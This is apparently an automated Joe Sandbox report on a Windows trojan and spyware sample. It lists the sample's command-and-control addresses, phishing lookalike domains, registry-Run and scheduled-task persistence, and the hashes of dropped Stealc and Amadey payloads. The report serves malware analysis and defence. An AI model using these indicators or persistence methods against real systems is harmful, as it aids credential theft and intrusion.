185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.18.14	play.google.com	United States	15169	GOOGLEUS	false
142.250.185.110	youtube.com	United States	15169	GOOGLEUS	false
172.67.206.204	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
172.217.23.110	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
142.250.184.206	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527965
Start date and time:	2024-10-07 13:25:22 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	79
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	xwZfYpo16i.exe renamed because original name is a hash value
Original Sample Name:	a7cd5139890144e22b955bc41174f22b.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@174/15@45/12
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.186.35, 74.125.133.84, 142.250.186.110, 34.104.35.123, 142.250.186.131, 142.250.186.106, 142.250.186.74, 142.250.185.74, 142.250.185.202, 142.250.186.138, 142.250.186.170, 142.250.184.234, 216.58.212.138, 172.217.16.202, 142.250.181.234, 142.250.185.234, 216.58.206.74, 142.250.185.106, 142.250.185.170, 216.58.206.42, 142.250.186.42, 172.217.16.131, 172.217.18.10, 142.250.184.202, 142.250.74.202, 172.217.18.106, 142.250.185.227, 216.58.206.46
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, self.events.data.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target 4db5303091.exe, PID 2504 because there are no executed function
Execution Graph export aborted for target 4db5303091.exe, PID 6472 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3136 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4444 because there are no executed function
Execution Graph export aborted for target xwZfYpo16i.exe, PID 5260 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: xwZfYpo16i.exe

Simulations

Behavior and APIs

Time	Type	Description
07:27:01	API Interceptor	30374700x Sleep call for process: skotes.exe modified
07:27:29	API Interceptor	3x Sleep call for process: 4db5303091.exe modified
13:26:18	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:27:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run cb428cafc9.exe C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe
13:27:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000336001\num.exe
13:27:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4db5303091.exe C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe
13:27:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run cb428cafc9.exe C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe
13:27:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000336001\num.exe
13:28:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4db5303091.exe C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	niko.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	dXDaTWHYvF.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	XDPT5mgIBO.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sergei-esenin.com	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	104.21.53.8
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
steamcommunity.com	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://sneamcomnnumnlty.com/h474823487284/geting/active	Get hash	malicious	Unknown	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://sneamcomnnumnlty.com/f78493482943/geting/game	Get hash	malicious	Unknown	Browse	104.102.49.254
	https://steamcommunits.com/tradeoffer/new/partner=1167404782token=DiNTF72W	Get hash	malicious	Unknown	Browse	104.102.49.254
	https://steamcommonunity.com/gift/receive	Get hash	malicious	Unknown	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://sportmansguilde.com/?https://www.office.com	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Portal.msi	Get hash	malicious	Unknown	Browse	162.159.140.238
	http://www.twbcompany.com	Get hash	malicious	Unknown	Browse	172.67.137.41
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	1.3.36.109
	z1SupplyInvoiceCM60916_Doc.exe	Get hash	malicious	FormBook	Browse	104.21.5.125
	rREQUESTFORQUOTE-INQUIRY87278.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.21.34.55
	High Court Summons Notice.pdf	Get hash	malicious	Unknown	Browse	172.65.208.22
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper	Browse	104.18.3.157
WHOLESALECONNECTIONSNL	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	XDPT5mgIBO.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	185.215.113.103
	bUyvu6YU2H.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.103
	1mqzOM6eok.exe	Get hash	malicious	Xmrig	Browse	185.215.113.66
	http://noevirbrasil.com/hello.html	Get hash	malicious	Unknown	Browse	185.215.113.14
AKAMAI-ASUS	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	High Court Summons Notice.pdf	Get hash	malicious	Unknown	Browse	104.118.8.172
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	cfev.-Information refb08b4d10f3ce74a317adeabab8ac66ad.htm	Get hash	malicious	Unknown	Browse	2.19.224.93
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://sneamcomnnumnlty.com/h474823487284/geting/active	Get hash	malicious	Unknown	Browse	88.221.169.65
	Fact-2024-10.pdf	Get hash	malicious	Unknown	Browse	104.77.220.172
	https://gtm.you1.cn/app/381210	Get hash	malicious	Unknown	Browse	2.19.126.135
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
WHOLESALECONNECTIONSNL	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	XDPT5mgIBO.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	185.215.113.103
	bUyvu6YU2H.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.103
	1mqzOM6eok.exe	Get hash	malicious	Xmrig	Browse	185.215.113.66
	http://noevirbrasil.com/hello.html	Get hash	malicious	Unknown	Browse	185.215.113.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	High Court Summons Notice.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
	https://pub-a58bcfc58507426ca38ee3be5a258dab.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://pub-cc660360e3d14203be254963e70e6e85.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	Fact-2024-10.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://pub-21e2ca3bca8444aab694f2d286d3f97f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://pub-0b1b4754e32d4359b9a318e8133d30bc.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	http://org0720.wixsite.com/my-site/	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://ikergalindez.github.io/gofish/	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	http://pub-17d7828daac64fc3a83940a40d8b01d8.r2.dev/qwertyuiopBowa.html	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	https://emmaway-my.sharepoint.com/:f:/g/personal/jessica_emmaway_uk/Eodal0AmsKFKtMeEeNJG0V0B3d0_hcKMrsOYen-8p5FxhQ?e=bBSdNW	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	http://www.twbcompany.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	https://cloud.list.lu/index.php/s/znw4dNSttiDzHTB	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	http://46.27.141.62	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	High Court Summons Notice.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	file.exe	Get hash	malicious	Credential Flusher	Browse	20.109.210.53 184.28.90.27 13.107.246.60
	SecuriteInfo.com.Win32.PWSX-gen.19312.293.exe	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.60
a0e9f5d64349fb13191bc781f81f42e1	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	KClGcCpDAP.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	KClGcCpDAP.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 13.69.239.74 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 13.69.239.74 172.67.206.204

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	niko.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1883648
Entropy (8bit):	7.948510434070455
Encrypted:	false
SSDEEP:	49152:9KPATOBfxX/+3f6N0qloevHNsuewf98rOEDyyTq:9UAWI3yNT9vt1ewf9gFyyT
MD5:	B15D0A2A19F5D2A6636C85443E0284C8
SHA1:	1D02385B8DC8AAC4F95137B054678F19776A3F29
SHA-256:	64DD5CCC23758D6A9BF8C2FA479CC390363EF236A27FA188C51AB422C15EE937
SHA-512:	50CA15F00282739583B5BD77CD00BDFDBE07A412837F36C23B3ACF02234D11B2FB49E790D020B311E1F12A374B2745A947FEA7CB7111824DDCE4C0FED4C5A9C3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................pK...........@...........................K......e....@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@... .0+..........p..............@...wdneehld.0...01..&...r..............@...hxgpzqkm.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: p7SnjaA8NN.exe, Detection: malicious, Browse Filename: 8ObkdHP9Hq.exe, Detection: malicious, Browse Filename: MSCy5UvBYg.exe, Detection: malicious, Browse Filename: niko.exe, Detection: malicious, Browse Filename: 4qIl08vrFY.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.583817157993573
Encrypted:	false
SSDEEP:	24576:FqDEvCTbMWu7rQYlBQcBiT6rprG8a4VK:FTvC/MTQYxsWR7a4
MD5:	6D09B95CC7D01AFE4997AF5E6E550580
SHA1:	4D1727EF778C9516274E0BEB383C22B1282382FA
SHA-256:	CA2858DE41AF6F9B91BAFD74FBB004BF30A313701F14118406F091822F9AE635
SHA-512:	15CB29574F840AC731CFAA97BE87C7CC4DEF1531E3CFD2EDE8F7BA436B92470E35AEEF3CD09E802E160B28CAD6979097523624196EA752D6C7BC08D3B075C6A7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........V......w.............@..........................`......[.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.583817157993573
Encrypted:	false
SSDEEP:	24576:FqDEvCTbMWu7rQYlBQcBiT6rprG8a4VK:FTvC/MTQYxsWR7a4
MD5:	6D09B95CC7D01AFE4997AF5E6E550580
SHA1:	4D1727EF778C9516274E0BEB383C22B1282382FA
SHA-256:	CA2858DE41AF6F9B91BAFD74FBB004BF30A313701F14118406F091822F9AE635
SHA-512:	15CB29574F840AC731CFAA97BE87C7CC4DEF1531E3CFD2EDE8F7BA436B92470E35AEEF3CD09E802E160B28CAD6979097523624196EA752D6C7BC08D3B075C6A7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........V......w.............@..........................`......[.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1883648
Entropy (8bit):	7.948510434070455
Encrypted:	false
SSDEEP:	49152:9KPATOBfxX/+3f6N0qloevHNsuewf98rOEDyyTq:9UAWI3yNT9vt1ewf9gFyyT
MD5:	B15D0A2A19F5D2A6636C85443E0284C8
SHA1:	1D02385B8DC8AAC4F95137B054678F19776A3F29
SHA-256:	64DD5CCC23758D6A9BF8C2FA479CC390363EF236A27FA188C51AB422C15EE937
SHA-512:	50CA15F00282739583B5BD77CD00BDFDBE07A412837F36C23B3ACF02234D11B2FB49E790D020B311E1F12A374B2745A947FEA7CB7111824DDCE4C0FED4C5A9C3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................pK...........@...........................K......e....@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@... .0+..........p..............@...wdneehld.0...01..&...r..............@...hxgpzqkm.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\xwZfYpo16i.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1906688
Entropy (8bit):	7.953554475766895
Encrypted:	false
SSDEEP:	24576:vaKXMe4nV8bZI6QqW3eBkqzCTaekGEkogC2UnxJmoui/Ffamrk5S7El8fUceRO4:RXMlau30O2ZYUgsFpOt88cQ
MD5:	A7CD5139890144E22B955BC41174F22B
SHA1:	1DF1E8066FCA31D34E60FDB40B0E3866F34ED941
SHA-256:	D0175428447D496447F5F940366744AD3A300E8B3116A2A7852969FAC0D12835
SHA-512:	CC230C3287DC27D3E3F10B3C06EDDE049AFF38E8DBEF1E6DBA56C445DDCFDDA9AC9C39CC22990B87E2E9153B3C03D6B30B4E19FEF38A037A0C8F7B98E21194D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k...........................0.K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...pdwvfcxw......1.....................@...bgplyofn......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\xwZfYpo16i.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
